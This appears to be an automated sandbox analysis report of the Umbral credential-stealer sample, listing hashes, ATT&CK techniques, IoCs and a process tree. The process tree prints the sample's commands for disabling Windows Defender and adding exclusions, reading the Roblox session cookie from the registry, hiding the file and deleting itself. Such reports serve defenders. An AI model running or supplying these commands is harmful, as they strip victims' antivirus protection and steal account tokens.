umbral | b176f79057adf0432e8cedb42d0d2ec44ac772da03a629bd97f4febf0cb7347d

Analysis

max time kernel
120s
max time network
125s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
08-09-2024 10:24

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General

Target

Umbral.exe
Size

232KB
MD5

0a1a80122976fd1b62cd01889535b700
SHA1

e14b2b77529495b62f54d4ca7828acba8e3e5788
SHA256

b176f79057adf0432e8cedb42d0d2ec44ac772da03a629bd97f4febf0cb7347d
SHA512

4e9ef98911a2131681e5acf23ca1d679455374f905eb54e05f70b48d7c59098f7a6048fc89f5afdcd4570d047341490a75ceed4fd9e787f7eb18167f214d63a9
SSDEEP

6144:xloZM+rIkd8g+EtXHkv/iD42L57aMS1NmPzus9x4XNb8e1mVW3i:DoZtL+EP82L57aMS1NmPzus9x49G

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2704-1-0x0000000000D00000-0x0000000000D40000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2484	powershell.exe
1980	powershell.exe
2752	powershell.exe
556	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Deletes itself 1 IoCs

pid	Process
1096	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1096	cmd.exe
776	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2440	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
776	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2704	Umbral.exe
2484	powershell.exe
2752	powershell.exe
556	powershell.exe
2308	powershell.exe
1980	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2704	Umbral.exe
Token: SeIncreaseQuotaPrivilege	1868	wmic.exe
Token: SeSecurityPrivilege	1868	wmic.exe
Token: SeTakeOwnershipPrivilege	1868	wmic.exe
Token: SeLoadDriverPrivilege	1868	wmic.exe
Token: SeSystemProfilePrivilege	1868	wmic.exe
Token: SeSystemtimePrivilege	1868	wmic.exe
Token: SeProfSingleProcessPrivilege	1868	wmic.exe
Token: SeIncBasePriorityPrivilege	1868	wmic.exe
Token: SeCreatePagefilePrivilege	1868	wmic.exe
Token: SeBackupPrivilege	1868	wmic.exe
Token: SeRestorePrivilege	1868	wmic.exe
Token: SeShutdownPrivilege	1868	wmic.exe
Token: SeDebugPrivilege	1868	wmic.exe
Token: SeSystemEnvironmentPrivilege	1868	wmic.exe
Token: SeRemoteShutdownPrivilege	1868	wmic.exe
Token: SeUndockPrivilege	1868	wmic.exe
Token: SeManageVolumePrivilege	1868	wmic.exe
Token: 33	1868	wmic.exe
Token: 34	1868	wmic.exe
Token: 35	1868	wmic.exe
Token: SeIncreaseQuotaPrivilege	1868	wmic.exe
Token: SeSecurityPrivilege	1868	wmic.exe
Token: SeTakeOwnershipPrivilege	1868	wmic.exe
Token: SeLoadDriverPrivilege	1868	wmic.exe
Token: SeSystemProfilePrivilege	1868	wmic.exe
Token: SeSystemtimePrivilege	1868	wmic.exe
Token: SeProfSingleProcessPrivilege	1868	wmic.exe
Token: SeIncBasePriorityPrivilege	1868	wmic.exe
Token: SeCreatePagefilePrivilege	1868	wmic.exe
Token: SeBackupPrivilege	1868	wmic.exe
Token: SeRestorePrivilege	1868	wmic.exe
Token: SeShutdownPrivilege	1868	wmic.exe
Token: SeDebugPrivilege	1868	wmic.exe
Token: SeSystemEnvironmentPrivilege	1868	wmic.exe
Token: SeRemoteShutdownPrivilege	1868	wmic.exe
Token: SeUndockPrivilege	1868	wmic.exe
Token: SeManageVolumePrivilege	1868	wmic.exe
Token: 33	1868	wmic.exe
Token: 34	1868	wmic.exe
Token: 35	1868	wmic.exe
Token: SeDebugPrivilege	2484	powershell.exe
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeDebugPrivilege	556	powershell.exe
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeIncreaseQuotaPrivilege	868	wmic.exe
Token: SeSecurityPrivilege	868	wmic.exe
Token: SeTakeOwnershipPrivilege	868	wmic.exe
Token: SeLoadDriverPrivilege	868	wmic.exe
Token: SeSystemProfilePrivilege	868	wmic.exe
Token: SeSystemtimePrivilege	868	wmic.exe
Token: SeProfSingleProcessPrivilege	868	wmic.exe
Token: SeIncBasePriorityPrivilege	868	wmic.exe
Token: SeCreatePagefilePrivilege	868	wmic.exe
Token: SeBackupPrivilege	868	wmic.exe
Token: SeRestorePrivilege	868	wmic.exe
Token: SeShutdownPrivilege	868	wmic.exe
Token: SeDebugPrivilege	868	wmic.exe
Token: SeSystemEnvironmentPrivilege	868	wmic.exe
Token: SeRemoteShutdownPrivilege	868	wmic.exe
Token: SeUndockPrivilege	868	wmic.exe
Token: SeManageVolumePrivilege	868	wmic.exe
Token: 33	868	wmic.exe
Token: 34	868	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2704 wrote to memory of 1868	2704	Umbral.exe	31
PID 2704 wrote to memory of 1868	2704	Umbral.exe	31
PID 2704 wrote to memory of 1868	2704	Umbral.exe	31
PID 2704 wrote to memory of 2920	2704	Umbral.exe	34
PID 2704 wrote to memory of 2920	2704	Umbral.exe	34
PID 2704 wrote to memory of 2920	2704	Umbral.exe	34
PID 2704 wrote to memory of 2484	2704	Umbral.exe	36
PID 2704 wrote to memory of 2484	2704	Umbral.exe	36
PID 2704 wrote to memory of 2484	2704	Umbral.exe	36
PID 2704 wrote to memory of 2752	2704	Umbral.exe	38
PID 2704 wrote to memory of 2752	2704	Umbral.exe	38
PID 2704 wrote to memory of 2752	2704	Umbral.exe	38
PID 2704 wrote to memory of 556	2704	Umbral.exe	40
PID 2704 wrote to memory of 556	2704	Umbral.exe	40
PID 2704 wrote to memory of 556	2704	Umbral.exe	40
PID 2704 wrote to memory of 2308	2704	Umbral.exe	42
PID 2704 wrote to memory of 2308	2704	Umbral.exe	42
PID 2704 wrote to memory of 2308	2704	Umbral.exe	42
PID 2704 wrote to memory of 868	2704	Umbral.exe	44
PID 2704 wrote to memory of 868	2704	Umbral.exe	44
PID 2704 wrote to memory of 868	2704	Umbral.exe	44
PID 2704 wrote to memory of 1784	2704	Umbral.exe	46
PID 2704 wrote to memory of 1784	2704	Umbral.exe	46
PID 2704 wrote to memory of 1784	2704	Umbral.exe	46
PID 2704 wrote to memory of 1932	2704	Umbral.exe	48
PID 2704 wrote to memory of 1932	2704	Umbral.exe	48
PID 2704 wrote to memory of 1932	2704	Umbral.exe	48
PID 2704 wrote to memory of 1980	2704	Umbral.exe	50
PID 2704 wrote to memory of 1980	2704	Umbral.exe	50
PID 2704 wrote to memory of 1980	2704	Umbral.exe	50
PID 2704 wrote to memory of 2440	2704	Umbral.exe	52
PID 2704 wrote to memory of 2440	2704	Umbral.exe	52
PID 2704 wrote to memory of 2440	2704	Umbral.exe	52
PID 2704 wrote to memory of 1096	2704	Umbral.exe	54
PID 2704 wrote to memory of 1096	2704	Umbral.exe	54
PID 2704 wrote to memory of 1096	2704	Umbral.exe	54
PID 1096 wrote to memory of 776	1096	cmd.exe	56
PID 1096 wrote to memory of 776	1096	cmd.exe	56
PID 1096 wrote to memory of 776	1096	cmd.exe	56

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2920	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2704
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1868
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:2920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2308
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:868
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1784
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1980
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2440
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1096
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
de408bb5f3b6555ca924ede42556c83a

SHA1
adbf88a01b9041c539905cc0c2665a46ff2b6fc6

SHA256
44875eb91ee5ced18265d6dc768b01df39e3762e87ec92718c508199c169ceb4

SHA512
dfb7e4d08756c66ad32f2bd958eda3fa5befcdbeb040b22de88403e8098c8bf798c9aa099a61eea22a6fb6ee2204bebe05806bb9c644a3d2ae74b8b29ae1d395

Download Submit
memory/1980-40-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

Filesize
2.9MB

Download
memory/1980-41-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download
memory/2484-8-0x000000001B320000-0x000000001B602000-memory.dmp

Filesize
2.9MB

Download
memory/2484-9-0x0000000002630000-0x0000000002638000-memory.dmp

Filesize
32KB

Download
memory/2704-0-0x000007FEF5E93000-0x000007FEF5E94000-memory.dmp

Filesize
4KB

Download
memory/2704-1-0x0000000000D00000-0x0000000000D40000-memory.dmp

Filesize
256KB

Download
memory/2704-2-0x000007FEF5E90000-0x000007FEF687C000-memory.dmp

Filesize
9.9MB

Download
memory/2704-3-0x000007FEF5E90000-0x000007FEF687C000-memory.dmp

Filesize
9.9MB

Download
memory/2704-45-0x000007FEF5E90000-0x000007FEF687C000-memory.dmp

Filesize
9.9MB

Download
memory/2752-15-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

Download
memory/2752-16-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download